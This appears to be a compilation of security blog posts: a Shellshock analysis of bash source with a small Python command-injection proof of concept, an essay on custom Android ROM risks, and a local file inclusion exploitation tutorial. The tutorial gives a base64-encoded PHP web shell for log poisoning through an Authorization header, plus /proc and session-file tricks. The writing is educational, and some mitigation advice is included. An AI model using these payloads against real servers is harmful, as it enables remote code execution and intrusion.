Shellshock without the Shellac

A post by our exploit-herder in residence, Jason Royes

The Problem

Have you heard about Shellshock? If not, you may be living under a rock. To summarize:

If an application sets an environment variable name or value to a value that is derived from user input and subsequently executes bash (and possibly other shells), an attacker may be able to execute arbitrary code.


When I first read the post from Robert Graham, my first thought was: “when did we begin storing function definitions in environment variables?” I scanned through the section of the bash manual dedicated to environment variables and could not find anything on the topic.

I knew I was not alone after googling and finding this on Stack Overflow. Luckily, I had an old VM handy that I never update.

Here’s bash:

$ bash --version
GNU bash, version 4.2.24(1)-release (i686-pc-linux-gnu)

So, according to the stack overflow article, what’s actually going on is that bash stores exported functions in the environment.

$ f1
f1: command not found

Let us create a file that will define a function and export it:

$ cat
#! /bin/bash

f1() {
echo "in f1"

export -f f1

Now to include it:

$ source

Voila, f1 is now defined within the shell environment.

$ env|grep -A1 f1
f1=() {  echo "in f1"

If you’ve already read about the Shellshock attack, the value of f1 above should look familiar.

Bash 4.2 and Exported Functions

Bash 4.2 (vulnerable) processes environment variables in initialize_shell_variables (see variables.c). What happens when an environment variable has a value that begins with “() {“? A new buffer is allocated and the variable name is concatenated with the variable’s value. This basically creates a normal bash function declaration. The concatenated string is then evaluated with parse_and_execute:

temp_string = (char *)xmalloc (3 + string_length + char_index);

strcpy (temp_string, name);
temp_string[char_index] = ' ';
strcpy (temp_string + char_index + 1, string);

parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);

Imagine an exported function named f1 that has a value resembling “() { ls -l; }”. The code above combines the name and value into temp_string, resulting in “f1() { ls -l; }”. This string is then evaluated and a function definition is burnt in memory.

The vulnerability arises because user input is being evaluated directly with the same function used to evaluate all other bash commands. If commands are appended to the end of the function definition, ex. “() { ls -l; }; ps”, they are executed. This is because they fall outside the bounds of the function declaration and so are treated just like they would be in a regular bash script. Note that anything inside the function declaration should not be executed unless the function is invoked.

The construction of temp_string also means an attacker can inject through the environment variable name. For example:

$ ./
total 6868
drwxrwxr-x 12 user1 user1    4096 Feb 13 17:28 bash-4.2
-rw-rw-r--  1 user1 user1 7009201 Feb 13  2011 bash-4.2.tar.gz
-rw-rw-r--  1 user1 user1      52 Feb 13 16:19
-rw-rw-r--  1 user1 user1      49 Feb 13 16:47
-rwxrwxr-x  1 user1 user1     101 Feb 13 17:30
-rwxrwxr-x  1 user1 user1      96 Feb 13 16:58
Segmentation fault

Whoops! Bonus segfault. Here’s

#! /usr/bin/python
import os

os.putenv('ls -l;a', '() { echo "in f2"; };')
os.system('bash -c f2')

Bash 4.3 and Exported Functions

The bash patch seems fairly concise. The patch now includes a check to make sure the variable name only contains legal characters (thwarting injection through name). There’s also a new flag called SEVAL_FUNCDEF. If parse_and_execute parses a command that is not a function definition and this flag is set, an error condition results.

This seems to correct the issue, however, relying on the function parsing code still feels dicey.

Perhaps there are other ways around these new defenses yet to be revealed.

The Security Implications of Custom Android ROMs

By Jon Janego

As most smartphone geeks like myself are undoubtedly aware, the latest phone in Google’s Nexus line, the Samsung Galaxy Nexus, was released for Verizon Wireless last week.  Mine just arrived last night, and it’s fantastic (although huge!)

The Nexus line of devices are unique among Android phones in that they are essentially a commercial line of the internal development phones used at Google.  As such, they are designed to allow easy installation of custom firmware.  This makes them especially popular with the robust Android “modding” community, which develops customized firmware that can be run on Android devices that extend the functionality beyond what is initially provided by the handset manufacturer.

Made for Modders

The Galaxy Nexus appears to be the biggest Nexus phone launch in Google’s history, initially being offered by the largest carrier in the US, Verizon, and the second-largest carrier in the UK, O2.The popularity of the Galaxy Nexus will likely draw a large number of people into the Android modding community because of the low barrier to entry that it presents.  Already, on the popular Android blog Droid Life, there is an article about unlocking the Galaxy Nexus’ bootloader, which allows for installation of custom firmware, that has over 400 comments, and another post on the same blog about “rooting” the phone has well over 300 comments.The Android customization community is a large and robust one.  However, like many open-source and community-based development projects, the majority of users just want the project to “work”, and have little-to-no interest in viewing the source code or having a deep understanding of how it functions.  Despite user bases sometimes numbering in the millions, a relatively small group of developers do most of the creation and distribution of the software.

The problem of software authenticity has been encountered before by the linux community, and over the last decade, that community has developed distribution methods such as centralized Debian APT repositories that provide some degree of certainty over what the end user is actually installing on their computer.  Additionally, many linux users still download the source code for projects and compile them locally on their computer.  Within the Android modding community, neither of these options have been implemented with the same level of maturity that linux has seen.  The more popular aftermarket firmware, or “ROMs”, such as CyanogenMod, are distributed by more accountable means, providing MD5 checksums for the files and a clear distribution network.  However, often, Android customization software is provided through links to anonymous file-sharing sites such as Mediafire and Megaupload.  This creates the opportunity to trick a user into installing malicious files.

A Ripe Target

There has already been at least one documented case of malware targeting custom Android ROMs, a trojan affected devices in the Chinese market.  With the popularity of the Galaxy Nexus, and the continued interest in Android customization community, this could become an attack vector that is more and more appealing to malware authors.  And the fact that majority of customized Android software is distributed without the usage of the Android Market, users do not have the additional means of protection that the Market provides, namely the “kill-switch” for apps that Google has flagged as malicious that were installed via the Android Market.

So how can end users protect themselves, while still participating in the Android customization community?  The most important thing that any technology user can do is to educate themselves about the software they install.  Security researcher Dan Rosenberg wrote an excellent blog post summarizing exactly how “rooting” works, which is a concept that many users want, but fewer truly understand.  Too often, users are tempted to just install the attachment that someone on a forum or blog says “works”, without question.  Also, users should avoid downloading and installing software from sources that are anonymous or unaccountable.  Instead, download from the primary source of the software developer, and validate the MD5 checksum of the file before installing it.  And often, many of the files shared on forums or anonymous upload sites are those provided directly Google or the phone manufacturers themselves.  Instead of downloading from the anonymous links, download these files from Google directly.

The Android community is already beginning to tackle these problems.  The popular ROM manager ClockworkMod is attempting to become an authoritative source for aftermarket software.  They coordinate with the developers of custom software and allow users to install files directly from the developers’ Git repositories.  However, this is still reliant upon the goodwill and trustworthiness of the developers.  ClockworkMod does not perform any code review of the ROMs that they aggregate, and while they may be able to de-list one that has a security vulnerability, there is still not a way to automatically remove the software from installed devices.

Looking Forward

In the future, I hope that the popular Android blogs such as Droid-Life, and forums such as XDA-developers will begin linking to central, trusted software repositories, rather than the anonymous file sharing sites or forum post attachments that are currently commonly used.  In the long-term, I would not be surprised to see an even more formalized system be implemented by the Android community, similar to the Debian APT repositories, but there is still some time to go.  Until then, Android users interested in customizing their devices should try and stay educated about their technology, and be very skeptical of any software that they install.  While the mobile carriers have recently had some credibility issues with the CarrierIQ fiasco, they are for the most part held far more accountable than any custom ROM developer will ever be.  Given the sensitivity of the data stored on mobile devices, a user should think very closely about what they are willing to install onto it.  As for me, I have already unlocked the bootloader to my Nexus Galaxy, but will probably refrain from installing any custom third-party ROMs until I repurpose it as a research device, at least another year or two down the road.  But the draw of the enhanced features and controls that the custom ROMs provide will likely lead many users down that path.  The integrity of your data ultimately resides with you, so I hope that everyone carefully weighs their decision to install new firmware onto their most sensitive and personal piece of technology.  Be careful out there!

Local File Inclusion – Tricks of the Trade

By: Cris Neckar, Andrew Case

Everyone understands that local file includes are bad. The ability to execute an arbitrary file as code is unquestionably a security risk and should be protected against. However, the process of exploitation can be rather involved and is commonly misunderstood. In this post I want to clarify the risks involved in this type of vulnerability and the complications involved in exploitation.

To start lets give a bit of background. I will focus on PHP on Linux specifically but this class of vulnerability may also exist in many other interpreted languages on different platforms. Generically, a file inclusion vulnerability is the dynamic execution of interpreted code loaded from a file. This file could be loaded remotely from an http/ftp server in the case of remote inclusions, or as I will cover, locally from disk. Generally remote file inclusion vulnerabilities are trivial to exploit so I will not be covering them. The following line is an example of a local file inclusion vulnerability in PHP:

require_once($LANG_PATH . ‘/’ . $_GET[‘lang’] . ‘.php’);

In this case an attacker controls the “lang” variable and can thereby force the application to execute an arbitrary file as code. The attacker does not however control the beginning of the require_once() argument, so including a remote file would not be possible. To exploit this an attacker would set the ‘lang’ variable to a value similar to the following:


Before we get into discussing the exploitation of this type of vulnerability let me say a few words about preventing them. In the preceding case, the vulnerability could be trivially mitigated through input validation. A simple check for non-alphanumeric characters would suffice in this case. However, where possible I would recommend completely avoiding user input for this type of logic and instead selecting the proper include from a hardcoded list of known good files based on a user supplied index number or hash.

Now that we know how to avoid these when developing applications lets get back to methods of exploitation. A straight forward vulnerability such as this one can in fact be quite difficult to reliably exploit given the differences in deployment platforms. When developing an exploit the first question to ask yourself is generally “what do I need for successful exploitation?”. In this case, the answer to that question is a file stored locally on the target system which contains PHP code that accomplishes our goal. In the best case we will be able to include a file which we directly control the contents of.

This can be an interesting puzzle as it is almost a case of chicken before the egg. To gain access to the remote system we need the ability to create a file on the remote system. The first possibility, and by far the simplest, is to look at the features provided by the application we are attacking. For example, many local inclusion exploits use features such as custom avatars and file storage mechanisms to place code on the target system. Bypassing various checks performed on these types of files/images can be an interesting puzzle in itself and the details are best saved for a future post. However, we want to talk about these vulnerabilities on systems which do not allow such trivial exploitation.

If the target application does not provide some way of uploading or changing a file on disk we need to examine other options. I suggest examining all access to the target server. Ask yourself “What services are available to me and what files to they access? Do I control any of the data written to these files?”. An anonymous FTP server or similar would certainly make life easier here but that would be to good to be true. 🙂

Generally when people discuss local includes the assumption is that the target file will be the HTTP servers logs. It is quite easy to influence the contents of log files as their purpose is to store the requests that you, the user, make. Most people will suggest the logs and conveniently glaze over the complexities that their usage presents. There are several major potential hurdles in the use of logs.

First we run into the problem of finding the logs. In a production environment it is rare to use default paths for log data, ‘/var/log/httpd/access_log’ is simple enough to guess but what do you do when the log is stored in ‘/vol001/’. Guessing this path would be non-trivial at best and even assuming that verbose error messages or a similar information disclosure gives you some hint to directory structure, using these methods in a reliable exploit would be extremely difficult.

To jump this hurdle lets examine an interesting feature of the Linux proc file-system, namely, the ‘self’ link. The Linux kernel exports a good bit of interesting information about individual processes to usermode through the proc entries for each process id. It also creates an entry called ‘self’ which provides a process easy access to its own process information. When we access /proc/self through the context of a PHP include the link will, in most cases, point to the process entry for the httpd child which has instantiated to PHP interpreter library (This may not be the case if the interpreter has been called as CGI). Often when an HTTPd is run, the path to its configuration file is passed as an argument. If this is the case, finding the log file is a simple procedure of including ‘/proc/self/cmdline’, reading the location of the configuration file and including it to find the path to log files.

Viewing the apache cmdline proc entry

Viewing the apache cmdline proc entry

If the ‘cmdline’ entry does not contain the configuration file there is another option. The per process proc entry also contains a directory entry called ‘fd’. This directory exports a numbered entry for each file descriptor that the process currently holds. In writing PoC for this post on a 2.6.20 kernel we noticed that at some point a kernel developer had the foresight to set the permissions on these entries so that they could be read only by the instantiating user. We tasked intern Y with finding the change and, after grepping the diffs of every kernel release (ever… i.e. wget -r –no-parent he found the following. In May of 2007 the following patch was entered to address the case where a process opens a file and then drops its permissions (Interesting, that is exactly what Apache does).;a=commitdiff;h=8948e11f450e6189a79e47d6051c3d5a0b98e3f3

This change was committed around the release of version 2.6.22. Using this new access we are able to directly access the files opened by the apache process through these proc entries. By iterating the file name from ‘0’ we are able to directly access the HTTPd log file which will undoubtedly be open for use by the web server. Simply include the files ‘/proc/self/fd/<fd number>’ until you hit on the right file descriptor.

Using the fd proc entries to access apache logs

Using the fd proc entries to access apache logs

Great, so we found the log file. Now we need to determine what fields we actually control. It is commonly believed that you can arbitrarily enter text into apache logs by putting code into GET variables or the requested path. This is generally not the case as these values will almost always be URL encoded and will therefore not execute correctly. I find the simplest field to use is actually the user name. This is pulled from the Authorization header which is typically base64 encoded and thereby avoids the URL encoding mechanisms. By base64 encoding a string similar to the following:

<?php passthru($_GET[‘cmd’]); ?>:doesn’t matter

And specifying an Authorization header as follows:

Authorization: Basic PD9waHAgcGFzc3RocnUoJF9HRVRbJ2NtZCddKTsgPz46ZG9lc24ndCBtYXR0ZXI=

We can insert arbitrary code into the HTTP logs.

PHP code as basic auth username

PHP code as basic auth username

Assuming the stars align and this method is successful there is still one more caveat. On production HTTP servers the logs files tend to be rather large, often in the range of 200mb. Your PHP code is going to be at the very end of the current log file which will likely mean that for each command you run it will take a very long time (depending on connection speed) to wait for the page to display the output from your command. It is possible to use the error_log as this is likely somewhat smaller, but these can still be rather larger than we would hope.

We now have somewhat reliable ways to get code execution, but I hear you saying “There must be a better way”. I am going to present a method which is specific to PHP and somewhat specific to the target application. This is a very common scenario but if it does not fit your needs I hope that it will at least help you to get into the right mindset for this type of exploit development.

PHP provides a mechanism for maintaining session state across requests. Many other languages provide similar interfaces but their internals are sometimes quite different. In the case of PHP a session is started using, logically enough, session_start(). This code can be found is ‘/ext/session/session.c’ within the PHP codebase. Briefly, it checks whether a session cookie was sent with the current request, if not it creates a random session id and sets the cookie within the response to the user. It also registers the global $_SESSION variable which is directly tied to a file stored in the temporary directory. This file will contain any variables set under the session context formatted as a PHP array.

In the case of an application which tracks session information, any setting stored as a string which the user controls could provide an excellent target for a local file include vulnerability. The session file will be named ‘sess_<session_id>’. Although the session_id is a random hash it is trivial to retrieve as it is stored locally in a cookie.

Viewing the PHP session cookie

Viewing the PHP session cookie

In our simple example, our session has a few variables but the simplest to control arbitrarily is a field called ‘signature’. PHP applications tend to store all sorts of interesting things in session variables and there is often a string that you control arbitrarily. In this case by setting our ‘signature’ to PHP code we can gain command execution through this session file.

Putting it all together

Putting it all together

Although the specific methods I have outlined here will not always work in your particular situation I hope that I have at least prompted some interest in the many possibilities for exploiting this type of vulnerability. Regardless of how limited you feel by the platform you are exploiting there is almost always some trick that you can use to get the better of the system.